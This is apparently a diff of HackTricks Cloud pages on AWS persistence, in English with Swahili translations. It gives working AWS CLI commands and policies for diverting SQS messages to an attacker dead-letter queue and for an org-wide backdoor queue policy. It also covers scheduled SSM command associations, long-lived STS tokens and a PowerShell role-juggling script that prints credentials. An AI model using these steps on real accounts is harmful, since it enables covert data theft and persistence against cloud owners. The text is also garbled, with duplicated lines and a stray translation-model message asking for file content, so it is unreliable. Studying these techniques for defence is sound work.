ATTACKER_DLQ_ARN=<attacker dlq arn>
aws sqs set-queue-attributes \
--queue-url "$VICTIM_SRC_URL" --region $REGION \
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
--queue-url "$VICTIM_SRC_URL" --region $REGION \
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
```
Acceleration (optional):
Kuongeza kasi (hiari):
```bash
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
for i in {1..2}; do \
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
--max-number-of-messages 10 --visibility-timeout 0; \
done
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
--max-number-of-messages 10 --visibility-timeout 0; \
done
```
Validation:
I don't have the file content. Please paste the markdown from src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md and I will translate the relevant English text to Swahili following the rules.
```bash
# 5) Confirm messages appear in attacker DLQ
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--max-number-of-messages 10 --attribute-names All --message-attribute-names All
--max-number-of-messages 10 --attribute-names All --message-attribute-names All
```
Example evidence (Attributes include DeadLetterQueueSourceArn):
Mfano wa ushahidi (Vigezo vinajumuisha DeadLetterQueueSourceArn):
```json
{
"MessageId": "...",
"Body": "...",
"Attributes": {
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
}
"MessageId": "...",
"Body": "...",
"Attributes": {
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
}
}
```
## Cross-Account Variant (byQueue)
Set RedriveAllowPolicy on the attacker DLQ to only allow specific victim source queue ARNs:
Weka RedriveAllowPolicy kwenye attacker DLQ ili kuruhusu tu ARNs maalum za source queue za victim:
```bash
VICTIM_SRC_ARN=<victim source queue arn>
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
```
## Impact
- Stealthy, durable data exfiltration/persistence by automatically diverting failed messages from a victim SQS source queue into an attacker-controlled DLQ, with minimal operational noise and no changes to producers or Lambda mappings.
## Madhara
- Data exfiltration/persistence kwa siri na kwa kudumu kwa kupeleka kiotomatiki ujumbe ulioshindwa kutoka kwenye SQS source queue ya mwathirika hadi DLQ inayodhibitiwa na mshambuliaji, na kusababisha kelele ndogo ya kiutendaji na bila mabadiliko kwa producers au Lambda mappings.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -2,39 +2,37 @@
{{#include ../../../../banners/hacktricks-training.md}}
Abuse an SQS queue resource policy to silently grant Send, Receive and ChangeMessageVisibility to any principal that belongs to a target AWS Organization using the condition aws:PrincipalOrgID. This creates an org-scoped hidden path that often evades controls that only look for explicit account or role ARNs or star principals.
### Backdoor policy (attach to the SQS queue policy)
Tumia vibaya sera ya rasilimali ya SQS queue ili kimya kimya kumruhusu Send, Receive na ChangeMessageVisibility kwa principal yeyote anayehusishwa na target AWS Organization kwa kutumia condition aws:PrincipalOrgID. Hii inaunda njia iliyofichwa iliyo na upeo wa shirika (org-scoped) ambayo mara nyingi huikwepa udhibiti unaotafuta tu ARNs za akaunti au role zilizo wazi au star principals.
### Backdoor policy (ambatisha kwenye sera ya SQS queue)
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "OrgScopedBackdoor",
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:ReceiveMessage",
"sqs:SendMessage",
"sqs:ChangeMessageVisibility",
"sqs:GetQueueAttributes"
],
"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
"Condition": {
"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
}
}
]
"Version": "2012-10-17",
"Statement": [
{
"Sid": "OrgScopedBackdoor",
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:ReceiveMessage",
"sqs:SendMessage",
"sqs:ChangeMessageVisibility",
"sqs:GetQueueAttributes"
],
"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
"Condition": {
"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
}
}
]
}
```
### Hatua
- Pata Organization ID kwa kutumia AWS Organizations API.
- Pata SQS queue ARN na weka queue policy ikijumuisha tamko hapo juu.
- Kutoka kwa principal yeyote anayehusishwa na Organization hiyo, tuma na pokea ujumbe kwenye queue ili kuthibitisha ufikiaji.
### Steps
- Obtain the Organization ID with AWS Organizations API.
- Get the SQS queue ARN and set the queue policy including the statement above.
- From any principal that belongs to that Organization, send and receive a message in the queue to validate access.
### Impact
- Organization-wide hidden access to read and write SQS messages from any account in the specified AWS Organization.
### Madhara
- Ufikiaji uliojificha kwa ngazi ya Organization wa kusoma na kuandika ujumbe za SQS kutoka kwa akaunti yoyote katika AWS Organization iliyotajwa.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,33 +1,27 @@
# AWS - SSM Perssitence
# AWS - SSM Uendelevu
{{#include ../../../../banners/hacktricks-training.md}}
## SSM
For more information check:
Kwa maelezo zaidi angalia:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
{{#endref}}
### Using ssm:CreateAssociation for persistence
An attacker with the permission **`ssm:CreateAssociation`** can create a State Manager Association to automatically execute commands on EC2 instances managed by SSM. These associations can be configured to run at a fixed interval, making them suitable for backdoor-like persistence without interactive sessions.
### Kutumia ssm:CreateAssociation kwa uendelevu
Muovu mwenye ruhusa **`ssm:CreateAssociation`** anaweza kuunda State Manager Association ili kutekeleza amri kiotomatiki kwenye EC2 instances zinazosimamiwa na SSM. Associations hizi zinaweza kusanidiwa ziendeshwe kwa kipindi kilichowekwa, na hivyo kufaa kwa uendelevu wa aina ya backdoor bila vikao vya mwingiliano.
```bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
```
> [!NOTE]
> This persistence method works as long as the EC2 instance is managed by Systems Manager, the SSM agent is running, and the attacker has permission to create associations. It does not require interactive sessions or explicit ssm:SendCommand permissions. **Important:** The `--schedule-expression` parameter (e.g., `rate(30 minutes)`) must respect AWS's minimum interval of 30 minutes. For immediate or one-time execution, omit `--schedule-expression` entirely — the association will execute once after creation.
> Njia hii ya kudumu inafanya kazi mradi tu instance ya EC2 inasimamiwa na Systems Manager, SSM agent inakimbia, na mshambuliaji ana ruhusa ya kuunda associations. Haitegemei vikao vya kuingiliana wala idhini za wazi za `ssm:SendCommand`. **Muhimu:** parameter ya `--schedule-expression` (kwa mfano, `rate(30 minutes)`) inapaswa kuzingatia interval ya chini ya AWS ya dakika 30. Kwa utekelezaji wa papo hapo au wa mara moja, acha kabisa `--schedule-expression` — association itaendeshwa mara moja baada ya kuundwa.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Step Functions
For more information check:
Kwa taarifa zaidi angalia:
{{#ref}}
../../aws-services/aws-stepfunctions-enum.md
@@ -12,14 +12,10 @@ For more information check:
### Step function Backdooring
Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps.
Backdoor a step function ili ifanye mbinu yoyote ya persistence, hivyo kila inapotekelezwa itatekeleza hatua zako za uharibifu.
### Backdooring aliases
If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
Ikiwa akaunti ya AWS inatumia aliases kupiga step functions, kutakuwa na uwezekano wa kubadilisha alias ili itumie toleo jipya backdoored la step function.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## STS
For more information access:
Kwa taarifa zaidi angalia:
{{#ref}}
../../aws-services/aws-sts-enum.md
@@ -12,14 +12,14 @@ For more information access:
### Assume role token
Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence.
Temporary tokens haiwezi kuorodheshwa, hivyo kudumisha temporary token inayofanya kazi ni njia ya kudumisha persistence.
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
# With MFA
aws sts get-session-token \
--serial-number <mfa-device-name> \
--token-code <code-from-token>
--serial-number <mfa-device-name> \
--token-code <code-from-token>
# Hardware device name is usually the number from the back of the device, such as GAHT12345678
<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
@@ -28,38 +28,35 @@ aws sts get-session-token \
### Role Chain Juggling
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials.
You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), mara nyingi hutumika katika kudumisha stealth persistence. Inahusisha uwezo wa **assume a role which then assumes another**, na inaweza kurudi kwa role ya awali kwa **cyclical manner**. Kila mara role inapochukuliwa (assumed), uwanja wa muda wa kuisha wa credentials unasasishwa. Kwa hivyo, ikiwa roles mbili zimewekwa ili kuchukua kila mmoja, usanidi huu unaruhusu kuvusea credentials kwa mfululizo.
Unaweza kutumia [**tool**](https://github.com/hotnops/AWSRoleJuggler/) ili kuendelea na role chaining:
```bash
./aws_role_juggler.py -h
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
optional arguments:
-h, --help show this help message and exit
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
-h, --help show this help message and exit
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
```
> [!CAUTION]
> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured.
> Kumbuka kwamba [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script kutoka kwenye Github repository hiyo haitambui njia zote ambazo role chain inaweza kusanidiwa.
<details>
<summary>Code to perform Role Juggling from PowerShell</summary>
<summary>Msimbo wa kufanya Role Juggling kutoka PowerShell</summary>
```bash
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation
if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) {
Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
exit
Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
exit
}
# Function to list IAM roles
function List-IAMRoles {
aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
}
# Initialize error count
@@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json
# Attempt to assume each role
foreach ($role in $roles) {
$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
try {
$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
if ($credentials) {
Write-Host "Successfully assumed role: $($role.RoleName)"
Write-Host "Access Key: $($credentials.AccessKeyId)"
Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
Write-Host "Session Token: $($credentials.SessionToken)"
Write-Host "Expiration: $($credentials.Expiration)"
$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
try {
$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
if ($credentials) {
Write-Host "Successfully assumed role: $($role.RoleName)"
Write-Host "Access Key: $($credentials.AccessKeyId)"
Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
Write-Host "Session Token: $($credentials.SessionToken)"
Write-Host "Expiration: $($credentials.Expiration)"
# Set temporary credentials to assume the next role
$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
$env:AWS_SESSION_TOKEN = $credentials.SessionToken
# Set temporary credentials to assume the next role
$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
$env:AWS_SESSION_TOKEN = $credentials.SessionToken
# Try to assume another role using the temporary credentials
foreach ($nextRole in $roles) {
if ($nextRole.Arn -ne $role.Arn) {
$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
try {
$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
if ($nextCredentials) {
Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
Write-Host "Session Token: $($nextCredentials.SessionToken)"
Write-Host "Expiration: $($nextCredentials.Expiration)"
}
} catch {
$errorCount++
}
}
}
# Try to assume another role using the temporary credentials
foreach ($nextRole in $roles) {
if ($nextRole.Arn -ne $role.Arn) {
$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
try {
$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
if ($nextCredentials) {
Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
Write-Host "Session Token: $($nextCredentials.SessionToken)"
Write-Host "Expiration: $($nextCredentials.Expiration)"
}
} catch {
$errorCount++
}
}
}
# Reset environment variables
Remove-Item Env:\AWS_ACCESS_KEY_ID
Remove-Item Env:\AWS_SECRET_ACCESS_KEY
Remove-Item Env:\AWS_SESSION_TOKEN
} else {
$errorCount++
}
} catch {
$errorCount++
}
# Reset environment variables
Remove-Item Env:\AWS_ACCESS_KEY_ID
Remove-Item Env:\AWS_SECRET_ACCESS_KEY
Remove-Item Env:\AWS_SESSION_TOKEN
} else {
$errorCount++
}
} catch {
$errorCount++
}
}
# Output the number of errors if any
if ($errorCount -gt 0) {
Write-Host "$errorCount error(s) occurred during role assumption attempts."
Write-Host "$errorCount error(s) occurred during role assumption attempts."
} else {
Write-Host "No errors occurred. All roles checked successfully."
Write-Host "No errors occurred. All roles checked successfully."
}
Write-Host "Role juggling check complete."
```
</details>
{{#include ../../../../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More